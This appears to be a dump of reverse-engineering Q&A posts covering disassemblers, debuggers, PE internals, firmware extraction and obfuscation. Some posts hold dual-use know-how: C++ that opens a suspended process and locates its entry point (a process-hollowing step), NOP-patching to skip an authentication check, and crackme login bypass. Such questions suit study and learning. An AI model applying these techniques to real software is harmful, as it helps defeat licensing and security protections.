+ +the code dealing with I2C seem a bit too much convoluted for a rapid understanding + +The question : i would like to guess What are all the others address the firmware is referencing in the code. Searching google and github for similar constant/base address & offsets didn't help... google search result returning off topic commercial links. +" +"['ida', 'debugging']"," Title: Display open handle ids in IDA ProBody: Is there a way to display all the open handles of a process in IDA Pro while debugging it? + +I'm debugging a 64-bit binary on Windows OS with the win64_remotex64.exe as the debugging server. + +I want to display the list of all the open handles in the process: + +
Open file handles
+Open registry handles
+Open socket handles
+
+ +Debuggers such as Olly Debugger allow to see the complete list. Is it possible to see the same in IDA Pro? + +Information should be as shown below: + +
handle_id - path to the file
+
+ +Thanks. +" +"['c++', 'winapi']"," Title: Finding AddressOfEntryPoint for a 64-bit processBody: Okay, so in the following code-snippet I am starting a notepad.exe process in a suspended state and trying to get the AddressOfEntryPoint of the process. Problem is I can't seem to find the actual codeEntry. + +Both the application and the notepad.exe process is 64-bit. + +What am I doing wrong? + +Here is the commented code-snippet: + +
#include <iostream>
+#include <windows.h>
+#include <winternl.h>
+
+#pragma comment(lib, ""ntdll"")
+
+using namespace std;
+
+int main() {    
+    STARTUPINFOA si;
+    si = {};
+    PROCESS_INFORMATION pi = {};
+    PROCESS_BASIC_INFORMATION pbi = {};
+    DWORD returnLength = 0;
+    CreateProcessA(0, (LPSTR)""c:\\windows\\system32\\notepad.exe"", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
+
+    // get target image PEB address and pointer to image base
+    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
+    DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 10;
+
+    // get target process image base address
+    LPVOID imageBase = 0;
+    ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 16, NULL);
+
+    // read target process image headers
+    BYTE headersBuffer[4096] = {};
+    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
+
+    // get AddressOfEntryPoint
+    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
+    PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
+    LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)imageBase);
+
+    // Do something with the AddressOfEntryPoint(print to console in this case)
+    cout << codeEntry << endl;
+
+    return 0;
+}
+
+" +"['assembly', 'x64dbg']"," Title: How's this code able to make use of the stack?Body: I am trying to reverse engineer software to extend its functionality as expected of me. So I don't have the source code with me. Anyways, I am used to seeing codes that start like the one below, and is clear to me what is actually going on there. + +
push ebp
+mov ebp,esp
+sub esp,10h
+
+ +But my worries came when I saw one that looks like this below + +
mov edi,dword ptr [0E9A474h];
+imul eax,dword ptr [edi+5AF4h],70h;
+cmp dword ptr [ebp+eax-35DCh],0h;
+je some_location
+
+ +And the prologue for the function doesn't have any instruction like this + +
sub esp,10h
+
+ +At least I could have known the size of the stack the function is using for local variable storage. + +And additional question is: + +
    +
  1. Is this a good programming as far as assembly language is a concern?
  2. +
  3. Can there be any collision in memory between this function and another?
  4. +
  5. Is it possible to know the limit of this function in the stack? Either the Size
  6. +
+" +"['ida', 'debugging', 'idapython', 'remote']"," Title: How to setup VSCode with IDAPython?Body: Is it possible to remotely debug IDAPyhton scripts using VSCode and ptvsd? I found a few tutorials on the net, but no one is working. In the past, using the same protocol I was able to connect to Maya from VSCode and to remotely debug Pymel scripts. So, from IDA python console I entered: + +
ptvsd.enable_attach(address=('localhost', 5678), redirect_output=True)
+
+ +and eventually: + +
ptvsd.wait_for_attach(60)
+
+ +A Python MsgBox appears telling a script is running... Now in VSCode I started the script to be debugged using the standard json configuration file for attaching to a remote debugger, but the connection is always refused. +I tried to change the port (3528, 3000), the address (0.0.0.0) and to remove the redirect_output flag. No matter what, I wasn't able to connect. I tried also: + +
ptvsd.break_into_debugger()
+
+ +But again, no luck. + +As a second question, is there a way to make the import statement recognize IDAPython modules (idaapi, idc, idc_bytes and so on) or to use autocompletion? I know IDAPython is bundled with IDA and not installed in site-packages, but I wonder if is there a solution (not to execute the script outside of IDA, but to have the modules and keywords recognized). +" +"['ida', 'patching', 'amd64']"," Title: How to Insert Call to Already Imported Function in amd64 Windows DLL using IDA Pro?Body: I am trying to patch a function in 64-bit Windows DLL to load data I have inserted into the resource table of the DLL. I want to insert code something like this: + +
mov     r8d, 0Ah        ; lpType
+mov     edx, 0h         ; lpName
+xor     ecx, ecx        ; hModule
+call    cs:FindResourceW
+mov     [rsp+148h+var_B8], rax   ; using existing var_B8 to store hResInfo
+mov     rdx, [rsp+148h+var_B8] ; hResInfo
+xor     ecx, ecx        ; hModule
+call    cs:LoadResource
+mov     [rsp+148h+var_B0], rax ; using existing var_B0 to store hResData
+mov     rcx, [rsp+148h+var_B0] ; hResData
+call    cs:LockResource
+; data is now in location referenced by RAX register
+
+ +The first problem seems to be the ""Assemble"" function in IDA pro doesn't handle 64-bit operands, so instructions such as mov r8d, 0Ah I have to assemble by hand and patch via bytes. + +However I am not sure how to easily generate the call cs:FindResourceW instruction. While the ""assembly"" feature generates code the disassembly shows it as gibberish, call instruction ""assembled"" at 00000272D0B83B4C: + +
.text:00000272D0B83B3F                 mov     r8d, 0Ah
+.text:00000272D0B83B45                 mov     edx, 0
+.text:00000272D0B83B4A                 xor     ecx, ecx
+.text:00000272D0B83B4A ; ---------------------------------------------------------------------------
+.text:00000272D0B83B4C                 db  9Ah ; š
+.text:00000272D0B83B4D                 db  40h ; @
+.text:00000272D0B83B4E                 db  94h ; ”
+.text:00000272D0B83B4F                 db 0BDh ; ½
+.text:00000272D0B83B50                 db 0D0h ; Ð
+.text:00000272D0B83B51                 db    6
+.text:00000272D0B83B52                 db    0
+.text:00000272D0B83B53                 db  89h ; ‰
+.text:00000272D0B83B54                 db  84h ; „
+.text:00000272D0B83B55 ; ---------------------------------------------------------------------------
+.text:00000272D0B83B55                 and     al, 89h
+.text:00000272D0B83B55 ; ---------------------------------------------------------------------------
+.text:00000272D0B83B57                 db  45h ; E
+.text:00000272D0B83B58                 db    8
+
+ +To currently assembly I am taking location from import table: + +
.idata:00000272D0BD9440 ; HRSRC __stdcall FindResourceW(HMODULE hModule, LPCWSTR lpName, LPCWSTR lpType)
+.idata:00000272D0BD9440                 extrn FindResourceW:qword
+
+ +Subtracting location where I will insert my code, and subtract 6. + +
  272D0B83B4A (Code location)
+ -272D0BD9440 (Import table location)
+ -6
+===========
+00 05 58 F0
+
+ +I am then patching with FF 15 followed by the result in reverse order such as inserting bytes: + +
FF 15 F0 58 05 00
+
+ +This works but is time consuming, is there any better patching option for inserting call instructions quickly. +" +"['c', 'dynamic-analysis', 'executable']"," Title: How to create an executable that keeps the same virtual address on different runsBody: I want to create an executable that keeps the same virtual address during different execution runs. + +This is definitely possible because I've seen these files in CTFs(Capture the flag) where the player has to use a buffer overflow, to rewrite the return address in order to execute a ""secret"" function. + +So, is there a way to tell GCC to generate an executable that ""doesn't"" allow memory randomization on execution? + +Or maybe I'm thinking it all wrong. Any info you can share to point me on the right direction will be appreciated. +" +"['ida', 'compiler-optimization']"," Title: Can somebody explain this weird alignment/optimisation done when zeroing out a buffer?Body: I have the following disassembly which looks like a buffer being populated with zeros in a loop, however, I'm confused at why the alignment is needed here (if a jump will always be 4-bytes, why does aligning to a 4-byte boundary matter?) + +I'm also confused at what and'ing ecx (which presumably contains the size of the buffer plus how many bytes it was misaligned by) with 0xFFFFFFFC does, it's not an address so why is the same and used to 4-byte align something being used on something that is being used as a count for a loop etc. + +Could someone give a good walkthrough of what this code is doing and why? Is it really a compiler optimization or handwritten code? Is the intention speed etc? + + +" +"['disassembly', 'assembly', 'obfuscation', 'deobfuscation']"," Title: Static analysis obfuscated codeBody: I'm reversing a code that is heavily obfuscated. It uses opaque predicates, call stack tampering, junk code and control flow flattering. +Call stack tampering uses indirect branches (push register / retn) calculated with complex operations at runtime. +It seems near impossible to reverse engineer. +What would be the correct way to deal with code that uses many obfuscation techniques? +I know some people use dynamic symbolic execution but I want to know if there are other ways to deal with this. +Here is an example of one obfuscated function hex-ray output: + +" +['file-format']," Title: Finding examples of file with particular extentionsBody: I'm trying to start a filetype identification project for certain groups of files based on their file extension (.exe, .pdf, etc), using yara as the identification engine, but I've run into a problem. + +When I try hunting for examples of these files all I get are websites that explain what the files are associated with. + +I have a VT account, does anyone know whether it's possible to search based on filename extensions? +" +['binwalk']," Title: Blank binwalk and binvis.ioBody: I've been trying to extract a Bluetooth door lock's firmware. When I tried extracting it, I got an empty output. + + + +I then found a post which I thought would help me but when I tried using binvis.io, this is what I got: + + + +I'm a newbie so that means it's empty right? + +So my question is, what could've cause this to happened? Because when I extract it from a nRf51 chip using OpenOCD and ST-Link V2, it does show that what I extracted is 256kB. + +My guess right now is that it is encrypted? Or could it be because im using Windows to execute this? If so, I can try using Kali Linux since I run dual boot. Or maybe I did something wrong when extracting the bin file with OpenOCD? Below is the command used. + +
dump_image stock_nrf51.bin 0x0 0x40000
+
+ +Sorry if I sound silly. Newbie here. Please let me know if I'm not being specific enough or not providing enough information. Would gladly provide them if you need them such as bin file etc. +" +"['binary-analysis', 'firmware', 'linux', 'binwalk']"," Title: Extract files of a SquashFS FilesystemBody: I already asked a similar question but after a deeper analysis of the filesystem I found out that I misunderstood the problem and that's why I decided to delete the old question and make a new one. + +I extracted a squashfs filesystem from a NAND Flash with binwalk. The problem was that I couldn't see the files that it contains, even sasquatch wasn't able to extract the files.
That's why I assumed that I was dealing with a vendor hacked version of squashfs that sasquatch couldn't handle. + +However after a deeper analysis I found out that the extracted squashfs filesystem was looking very suspicious to me due to two things.
+First of all it starts with a generic squashfs header but right after the header there is a large sequence of 0xFF Bytes that is interrupted by a 0x01 Byte every 17. Byte.
+Besides of that the whole sequence is interrupted periodically by some kind of UBI signature.
+You can see this in the picture. + +The second thing that looked suspicious to me was that after the large sequence mentioned above the UBI signature kept appearing periodically (until the end ) through the whole part that is supposed to be what the suqashfs contains. (the signature is sometimes different from each other but still very similar). + +I also know from the boot process analysis that the rootfs of the device is mounted on top of a UBI volume:
+ +
+ root=/dev/ubiblock0_1 noinitrd ro ubi.mtd=6 mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),128k(reserved),64k(art);spi0.1:5m(kernel0),5m(kernel1),118m(ubi) rootfstype=squashfs ubi.block=0,1 mem=64M +
+ +Has the UBI signature that is appearing through the entire squashfs file something to do with the fact that it is mounted on top of a UBI volume and how do I deal with that?
+Or how can I mount it/is it possible to mount it like this? + + +" +"['ida', 'msvc']"," Title: Class definitionBody: I have a complicated question to ask so I will try my best to be clear. + +I have this binary I am trying to reverse that came with a pdb file. +I have dumped the compilands of the binary to begin with. + +I want to reproduce the source code of the binary as close to the original as possible so I see in the first compiland that somefile.obj(let's call it that) consists of ../file_path/somefile.cpp and ../compile_path/xlocale + +I then dumped the line numbers for somefile.cpp and using ida pro as my disassembler and hex-rays decompiler as a guide. + +From the source lines, hex-rays and some manual work I have managed to recreate somefile.cpp to the point that it's diasassembly is identical to the original file's one. + +The somefile.cpp consists of an empty constructor and destructor and a few function implementations. + +My problem is, the dumped compiland does not show a somefile.h as part of the object but the functions in somefile.cpp are methods of a somefile class (I got the entire class definition from the pdb). I can always create my own header file and put the class definition in there but that's not the purpose. + +So, my question is: where does the original somefile.cpp get the class definition from? Is there a way I can get such information at all, or do I have to guess? + +I am very sorry for the long text. +" +"['disassembly', 'dll', 'ghidra']"," Title: Ghidra can't Decompile kernelbase.dll exported functions?Body: I was trying to understand the IsDebuggerPresent() function exported by kernelbase.dll by importing the file on Ghidra. But Ghidra can't show me the proper disassembly or decompilation of function even though disassembly works fine in PE Bear? What could be the issue? I don't know if this is the proper place to post this so please guide me to a place if it isn't. Thanks! + + + + +" +"['linux', '.net']"," Title: ildasm on Linux: ""original"" ildasm.exe same as dotnet-ildasm?Body: I would like to use ildasm on Linux. The original one, that comes with the .NET SDK and can be found on Windows e.g. at c:\Program Files (x86)\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\. + +I found dotnet-ildasm and managed to install it on my Ubuntu 18.04. But I am unsure if this is the same as the ""original"" one. + + +" +['pe']," Title: A question about the Base field in the PE Export DirectoryBody: I've been examining the PE file structure graph located here. The following is written there about the export directory: + +
+ If a symbol N is exported by ordinal and name then:
+ -Its name will be located at AddressOfNames[N] + + -Its ordinal at AddressOfNameOrdinals[N] + + -And its address* will be + AddressOfFunctions[AddressOfNameOrdinals[N]] +
+ +I thought that the address would be AddressOfFunctions[AddressOfNameOrdinals[N] - _IMAGE_EXPORT_DIRECTORY.Base] because Base is the number that we subtract from the ordinal to get the index into the AddressOfFunctions array. + +For example, if we have Base = 8, the minimal entry in AddressOfNameOrdinals will be 8. The first index of the AddressOfFunctions array is zero, so to get the address of the function with the ordinal equal to 8, we subtract the base from the ordinal and get 0. + +Where have I made a mistake? +" +"['file-format', 'encryption', 'decompress']"," Title: Is there a way to confirm and decompress files that I suspect are compressed with a very early format of PKZIP?Body: I have a very large number of files (tens of thousands) who's binary all begins with 0x00 0x06. They do not open with 7-ZIP. I notice also that all Office files seem to share the same next 32 bytes. + +
A03D8B002E542C0DE10000C41EF0016000007FFF120030483E09F883AD3C0362
+
+ +It is a very old format, so I cannot find a decompression program, and do not even know how to confirm that it is the indeed an old PKZIP format. + +The compressed file is indeed compressed by about 50%. +" +"['encryption', 'obfuscation', 'binwalk']"," Title: Possibly infected imageBody: Long story short I'v downloaded a template for my website and instead of images it has the .html files included, and at the beginning those html files do include PNG IHDR , and they are being loaded perfectly by chrome, but something is telling me that there is some sort of script included. +Spent all night trying to figure this out, ran binwalk on it, without any clear hints, just producing a couple of zlib files +Any help would be appreciated + +File in question - +https://s3.eu-north-1.amazonaws.com/www.giftsmenu.com/infected/Gomez.html +" +['hardware']," Title: If flashrom tool don't have support for rom chip what are the ways you can extract data without it?Body: I am currently working on a Netgear router having MX25L1606E rom chip, my goal is to extract firmware for reverse engineering but flashrom don't have support for it. So question is how someone can read data from rom by making their own program or script. I've tried with buspirate but I don't know what would be specific SPI mode settings to read data out of this chip. +" +"['ida', 'assembly', 'c', 'binary', 'asm']"," Title: Is there a handy assembly to mock app conversion tool?Body: It might be too silly of a question, but here you go. + +Suppose you have some software that contains a tricky nested assembly sequence (like this one) you try to reverse engineer. brain*[pen&paper] totally rocks, but you would like to consult IDA (or anything similar), but you cannot directly drag&drop into IDA for (whatever reason, maybe a bug). + +You have the assembly code for that assembly sequence, and as a work around, you can theoretically compile a program that would contain the following (in C-code), + + + +
int main(int argc, char *argv[])
+{
+  // your tricky assembly sequence here, then
+  // perhaps puts(eax), puts(ebx) etc
+  return(0)
+}
+
+ +Seems like a fair an easy task. But in practice, how could I compile such a quick and dirty program in practice? Preferably via gcc? +" +"['ida', 'idapython']"," Title: IDAPython api which get indirect memory address referenceBody: I'm currently learning to use IDAPython for automated analysing on many binaries. Some binaries load memory address into register by adding base address with offset, that idautils.XrefsTo() cannot detect. In example: + + + + + +However, IDA-View can detect that reference kind. My question is, is there any other IDAPython api can detect that, or anyone knows the script behind IDA-View which can do that? Thank you. +" +"['obfuscation', 'deobfuscation', 'de4dot']"," Title: Error After de4dot - Application Does Not StartBody: There is an application that has been obfuscation to learn. So in an unpack me style. In the first stage I would unpack with de4dot. After you unpack, the running application stops working. + +dump and then again when I want to do the same process again stops working. + +Even when I want to fix it with Universal_Fix, a result doesn't change. + +When I look at the application with dnSpy, there is no problem. Codes can be read. It remains stuck in the main function when I want to run it. And it returns the following error. + + + +That's where he hangs out. + + + +Error returning when I want to continue. + +What should I do about this? + +I apologize for my bad English. +" +"['disassembly', 'android', 'apk', 'dalvik']"," Title: How to reverse engineering a proguarded .apk?Body: Lets say you have android1.apk file coded with proguard enable. + +I want to reverse engineer it in such a way that it shows the original methods names instead letters of alphabets, example bellow + +public void setName() +{ + +} + +On android1.apk file that was coded with proguard enabled, once you reverse engineer the apk, you will get the java code in the format bellow: + +public void a() +{ + +} + +a() being setName() +" +"['ida', 'disassembly', 'debugging', 'gdb', 'breakpoint']"," Title: IDA Pro ignores condition in breakpointBody: + +Look at the condition. It is supposed to break only when the R2 is 40, but it breaks in any call to this instruction. I'm using IDA Pro 7.2.181105, debugging with Remote GDB Debugger, an ARMv4T code. I'm completely beginner with IDA Pro. +" +"['ida', 'hexrays', 'decompiler']"," Title: Hex-Ray Decompiler: inline function not recognizedBody: While trying to decompile an application with Hex-Ray 7.0, I stumbled upon the problem that in nearly all cases, what seems to be a certain inline function will not be recognised, which bloats the code base and makes it really hard to read. +The function seems to be strcpy or something similar. Is there a way to have the Decompiler change the mentioned parts to an inline function? Or can I do it manually somehow? +Here's a screenshot to illustrate my issue: +Thanks a lot in advance! +" +"['obfuscation', 'deobfuscation', 'javascript']"," Title: Is it possible to completely reverse this code?Body: i have this code i'm trying to deobfuscate +https://pastebin.com/g5mHpWE4 + +I used +https://beautifier.io/ and +http://www.jsnice.org/ + +but the result is still not good, current code: +https://pastebin.com/whfqanxx + +much remains coded +example: window [$ ("" 0x128 "")] [$ ("" 0x11 "")] [$ ("" 0x7 "")] + +Is it possible to leave this code 100% clean? +" +"['ida', 'arm', 'patching']"," Title: Patch Arm binary with IdaBody: In Ida I can patch binary that run on x86 , but not binary that run on Arm. + +How can I simply patch binary , change assembly(not only hex) and save to new binary file +" +"['assembly', 'arm', 'arm64']"," Title: LDR specifier combination UXTWBody: Sorry, if this question seems stupid, but I am new in arm64 and next 2 assembly lines seriously damaged my brain: + + + +
LDR             W0, [X30,W0,UXTW#2]
+ADD             X30, X30, W0,UXTW
+
+ +I have readed docs, used google with different keywords, but it seems like everything connected to assembly is written by machines to machines.. + +I understood that it patches return address of subroutine, but what UTXW#2 is and how does it affect on LDR is hard to undertand. + +Could somebody explain me ""magic"" which happens in this 2 lines? +" +"['memory', 'hardware', 'protocol', 'dumping']"," Title: Manufacturer interface on OCZ Agility 4 SSDBody: Inside the housing of an OCZ Agility 4 SSD I found several additional connectors on the opposite site of the SATA connectors. + +What are they good for and how to connect them properly? + + + + +Zoomed: + +" +['memory']," Title: How do I view the call stack of an executable?Body: Basically I'm trying to edit memory (replace branch with a nop so the executable can't branch to auth function). I've done successful reverse engineering on gaming consoles, but I don't really know where to start on PC. WinDbg? VS2010 debugger? I would really appreciate any tips or pointers, thanks :) +" +"['encryption', 'python', 'obfuscation']"," Title: Python self decryption script, as mean of obfuscationBody: I have a software with an embedded python interpreter. The software can open upon startup a given .py script and execute it. Let's assume that in my python environment I can't open other files, and I can't use external tools like Cython + +I want to obfuscate the script. My only demand is that the payload part of the file (my custom business logic) could not be opened in a text editor and plain-text read. + +I could imagine the flow of the script will be de-obfuscation/decryption of a payload, that resides within the .py file as the first step and then executing it. + +I can store within the script any encryption key, and I don't care that the decryption part will be visible and that it can be easily reproduced. + +Any ideas how can I make that happen? +" +"['crackme', 'qt']"," Title: Where can I find the QRC and QML files used for a QT gui application when reverse engineering?Body: I'm currently working on a crackme exercise for a GUI application using QT as practice. The application uses a server login authentication. + +I can see from the logs that the application output that there should be some QML files, and some of the messages seem to be coming from QML objects. + +I have no prior experience working with QT before. There is qmldir provided which lists some QML files under qrc://. After googling I know know that the QRC should be a resource file that will contain the QML files, however I have no idea where this is. How should I go about finding this? + +Also I seem to be finding snippets of java code in the dll files itself which is very confusing. Is this somehow related to how QT works? Do my questions even make sense? + +FYI I am using Ghidra and x96dbg to reverse the program +Any pointers are greatly appreciated +" +"['disassembly', 'ghidra']"," Title: Why Ghidra doesn't load the disassembly correctly while radare2 does?Body: I'm trying to get the disassembly of a very small binary file available here. This file is cropped from part of another executable binary. + +When I open it with r2 it automatically recognizes the architecture and can provide me with the diassembly: + + + +With Ghidra however, it cannot find the architecture automatically and I have to manually specify the language: + + + +Even then, I'm getting the following as the disassembly: + + + +I'm very surprised by how poor NSA's Ghidra is performing in such scenario compared to the open source radare2. Can someone describe what's going on and how can I fix it? +" +['ghidra']," Title: Ghidra what's the meaning of _0_4_Body: What does _0_4_ mean in ghidra? + + +" +"['decompilation', 'ghidra']"," Title: Ghidra analyzing hardcoded indirect jumpsBody: I'm currently analyzing a function that has a lot of indirect jumps looking like the following. + +LEA R10,[0x142000000] + +(some instructions that dont change R10) + +JMP R10 + +The Ghidra decompiler just treats the indirect jump as a call and doesnt give any meaningful output. How do I go ahead and analyze a function like that? I guess ideally I would just like to change the JMP R10 instruction to JMP 0x142000000 in this example, however if I cant just do that since the opcode is larger and other jumps would no longer align. +" +"['hardware', 'usb']"," Title: Samsung A520F usb type-c uart debug modeBody: I'm trying to create UART cable for A520F phone with USB type-c. Seems, there is no UART debug modes S8+ either. On Samsung phones with micro USB one may access UART JIG mode with 619K resistor, connected to micro USB ID pin. + +How I test: + +I can dump MUIC registers. I have raw usb type c plug(mounted on board with solder pads), with cable soldered, which maps usb type c pins on breadboard. So I assemble test scheme and analyze MUIC registers and MUIC linux kernel module log output upon attachment. + +What I currently find: + + + +What else can I try? +If you were this device developer, how would you hide UART debug mode from users? +" +"['windows', 'x86', 'x86-64', 'tracing']"," Title: Memory modified at jump farBody: Observing a trace of Wow64 switching on Windows 7, the following situation makes me confused + + + +
...
+0x77491dbe  64 ff 15 c0 00 00 00  call fs:[0xc0]          ; syswow64\ntdll.dll
+0x74632320  ea 1e 27 63 74 33 00  jmp far 0x33:0x7463271e ; system32\wow64cpu.dll
+0x7463271e  67 44 8b 04 24        mov r8d, [esp]          ; system32\wow64cpu.dll
+...
+
+ +The first instruction is something similar with X86SwitchTo64BitMode, the second one is a switch back to 64-bit mode. So wow64cpu.dll has been actually mapped into two different code segments: cs = 23 for compat mode (second instruction) and cs = 33 for 64-bit mode (third instruction). + +However I cannot find the second instruction (jmp far...) in the corresponding dll. There are ea 1e 27 b6 78... at 0x74632320, not ea 1e 27 64... as being observed in the trace. + +Was wow64cpu.dll modified when being mapped into the memory? +" +"['ida', 'arm', 'static-analysis']"," Title: Detecting libc function with IDABody: I have binary than running on Arm , static and striped. + +I don't know which compiler compiled this binary. + +How can I identify function like fread sleep printf ioctl +" +"['disassembly', 'windows']"," Title: Find High Entropy VA (64-bit ALSR) Incompatibility in DisassemblyBody: Have a 64-bit plugin DLL (no source code) and the host application in an update changed its DLL characteristic to include ""high-entropy 64-bit address space layout randomization (ASLR)"" When this is set this causes the add-in to randomly crash. While I have used CFF explorer to remove the DLL characteristic for now to fix the application I am wondering if there is any static analysis techniques could be used on a disassembly to find ASLR incompatibility using tool like IDA Pro, or what such code may look like if come across analysing the application crash dumps. + +With WinDbg I can see access violation here due to rbp set to invalid value: + +
uccoext64!GetOutlookViewID+0x46eee:
+0000016b`01f75bae 488b4500        mov     rax,qword ptr [rbp] ss:00000000`05cccc50=????????????????
+
+ +Stepping backwards I find this invalid value is set in a different DLL: + +
UcLogging64+0x1ec8:
+0000016b`05201ec8 488b6c2438      mov     rbp,qword ptr [rsp+38h] ss:00000029`834f8978=0000000005cccc50
+
+ +This section of code: + +
0:000> uf 0000016b`05201ec8 488b6c2438 
+UcLogging64+0x1e40:
+0000016b`05201e40 48895c2408      mov     qword ptr [rsp+8],rbx
+0000016b`05201e45 48896c2410      mov     qword ptr [rsp+10h],rbp
+0000016b`05201e4a 48897c2418      mov     qword ptr [rsp+18h],rdi
+0000016b`05201e4f 4154            push    r12
+0000016b`05201e51 4883ec20        sub     rsp,20h
+0000016b`05201e55 33ff            xor     edi,edi
+0000016b`05201e57 418bd9          mov     ebx,r9d
+0000016b`05201e5a 4d8be0          mov     r12,r8
+0000016b`05201e5d 488bea          mov     rbp,rdx
+0000016b`05201e60 40387928        cmp     byte ptr [rcx+28h],dil
+0000016b`05201e64 7423            je      UcLogging64+0x1e89 (0000016b`05201e89)  Branch
+
+UcLogging64+0x1e66:
+0000016b`05201e66 8b542450        mov     edx,dword ptr [rsp+50h]
+0000016b`05201e6a 488d0d0fd60000  lea     rcx,[UcLogging64!UnifiedClientTrace+0xa480 (0000016b`0520f480)]
+0000016b`05201e71 e82afaffff      call    UcLogging64+0x18a0 (0000016b`052018a0)
+0000016b`05201e76 4885c0          test    rax,rax
+0000016b`05201e79 7403            je      UcLogging64+0x1e7e (0000016b`05201e7e)  Branch
+
+UcLogging64+0x1e7b:
+0000016b`05201e7b 8b780c          mov     edi,dword ptr [rax+0Ch]
+
+UcLogging64+0x1e7e:
+0000016b`05201e7e f6c304          test    bl,4
+0000016b`05201e81 7406            je      UcLogging64+0x1e89 (0000016b`05201e89)  Branch
+
+UcLogging64+0x1e83:
+0000016b`05201e83 85ff            test    edi,edi
+0000016b`05201e85 7e02            jle     UcLogging64+0x1e89 (0000016b`05201e89)  Branch
+
+UcLogging64+0x1e87:
+0000016b`05201e87 ffcf            dec     edi
+
+UcLogging64+0x1e89:
+0000016b`05201e89 448b442450      mov     r8d,dword ptr [rsp+50h]
+0000016b`05201e8e 448bcf          mov     r9d,edi
+0000016b`05201e91 498bd4          mov     rdx,r12
+0000016b`05201e94 488bcd          mov     rcx,rbp
+0000016b`05201e97 e834fcffff      call    UcLogging64+0x1ad0 (0000016b`05201ad0)
+0000016b`05201e9c f6c301          test    bl,1
+0000016b`05201e9f 7422            je      UcLogging64+0x1ec3 (0000016b`05201ec3)  Branch
+
+UcLogging64+0x1ea1:
+0000016b`05201ea1 33c0            xor     eax,eax
+0000016b`05201ea3 488bfd          mov     rdi,rbp
+0000016b`05201ea6 4883c9ff        or      rcx,0FFFFFFFFFFFFFFFFh
+0000016b`05201eaa 66f2af          repne scas word ptr [rdi]
+0000016b`05201ead 488b053c890000  mov     rax,qword ptr [UcLogging64!UnifiedClientTrace+0x57f0 (0000016b`0520a7f0)]
+0000016b`05201eb4 488947fe        mov     qword ptr [rdi-2],rax
+0000016b`05201eb8 488b0539890000  mov     rax,qword ptr [UcLogging64!UnifiedClientTrace+0x57f8 (0000016b`0520a7f8)]
+0000016b`05201ebf 48894706        mov     qword ptr [rdi+6],rax
+
+UcLogging64+0x1ec3:
+0000016b`05201ec3 488b5c2430      mov     rbx,qword ptr [rsp+30h]
+0000016b`05201ec8 488b6c2438      mov     rbp,qword ptr [rsp+38h]
+0000016b`05201ecd 488b7c2440      mov     rdi,qword ptr [rsp+40h]
+0000016b`05201ed2 4883c420        add     rsp,20h
+0000016b`05201ed6 415c            pop     r12
+0000016b`05201ed8 c3              ret
+
+ +Using Time Travel debugging and a memory write breakpoint on this location I see it seems to change here, stepping backwards: + +
UcLogging64+0x1e45:
+0000016b`05201e45 48896c2410      mov     qword ptr [rsp+10h],rbp ss:00000029`834f8978=0000016b0520add8
+0:000> r rbp
+rbp=0000000005cccc50
+
+ +Looking again for when rbp is set to this: + +
UcLogging64+0x1193:
+0000016b`05201193 488b6c2448      mov     rbp,qword ptr [rsp+48h] ss:00000029`834f8958=0000000005cccc50
+
+ +Stepping back: + +
UcLogging64+0x108a:
+0000016b`0520108a 56              push    rsi
+0:000> dd 00000029`834f8958
+00000029`834f8958  05cccc50 00000000 834f8a09 00000029
+00000029`834f8968  052051a4 0000016b 0520a728 0000016b
+00000029`834f8978  0520add8 0000016b 834f89e0 00000029
+00000029`834f8988  6d5e0000 00000000 000004e0 53282064
+00000029`834f8998  01f92a80 0000016b 0520a728 0000016b
+00000029`834f89a8  0520f0a0 0000016b ffffff01 ffffffff
+00000029`834f89b8  01f92a70 0000016b 00000027 00000000
+00000029`834f89c8  834fa670 00000029 fffffffe ffffffff
+0:000> t-
+Time Travel Position: 6516CD:1B [Unindexed] Index
+UcLogging64+0x1085:
+0000016b`05201085 48896c2420      mov     qword ptr [rsp+20h],rbp ss:00000029`834f8958=0000016b01fad918
+0:000> dd 00000029`834f8958
+00000029`834f8958  01fad918 0000016b 834f8a09 00000029
+
+ +Going backwards again see this change to invalid instuction on pop rbp: + +
rbp=00000029834f8930
+0:000> t-
+Time Travel Position: 6516CB:134 [Unindexed] Index
+MSVCR100!vswprintf_l+0xd7:
+00000000`6d61400f 4883c450        add     rsp,50h
+0:000> r rbp
+rbp=00000029834f8930
+0:000> t
+Time Travel Position: 6516CB:135 [Unindexed] Index
+MSVCR100!vswprintf_l+0xdb:
+00000000`6d614013 5d              pop     rbp
+0:000> t
+Time Travel Position: 6516CB:136 [Unindexed] Index
+MSVCR100!vswprintf_l+0xdc:
+00000000`6d614014 c3              ret
+0:000> r rbp
+rbp=0000000005cccc50
+
+ +As the value was corrupt before function started: + +
Time Travel Position: 6516CA:B51 [Unindexed] Index
+MSVCR100!vswprintf_l+0x13:
+00000000`6d613f4b 55              push    rbp
+0:000> t-
+Time Travel Position: 6516CA:B50 [Unindexed] Index
+MSVCR100!vswprintf_l+0xf:
+00000000`6d613f47 4c896020        mov     qword ptr [rax+20h],r12 ds:00000029`834f8958=0000000000000004
+0:000> r rbp
+rbp=0000000005cccc50
+
+ +This gets setup in a previous msvcr100!vswprintf_l call: + +
MSVCR100!vsnprintf_l+0xbb:
+00000000`6d613a0b 488b6c2468      mov     rbp,qword ptr [rsp+68h] ss:00000029`834f8938=0000000005cccc50
+0:000> r rbp
+rbp=0000000000000000
+0:000> t
+Time Travel Position: 6516CA:ACB [Unindexed] Index
+MSVCR100!vsnprintf_l+0xc0:
+00000000`6d613a10 488b742470      mov     rsi,qword ptr [rsp+70h] ss:00000029`834f8940=0000016b01fad918
+0:000> r rbp
+rbp=0000000005cccc50
+
+ +This is setup earlier: + +
0:000> r rbp
+rbp=0000000005cccc50
+0:000> t
+Time Travel Position: 6516CA:11C [Unindexed] Index
+MSVCR100!vsnprintf_l+0x3:
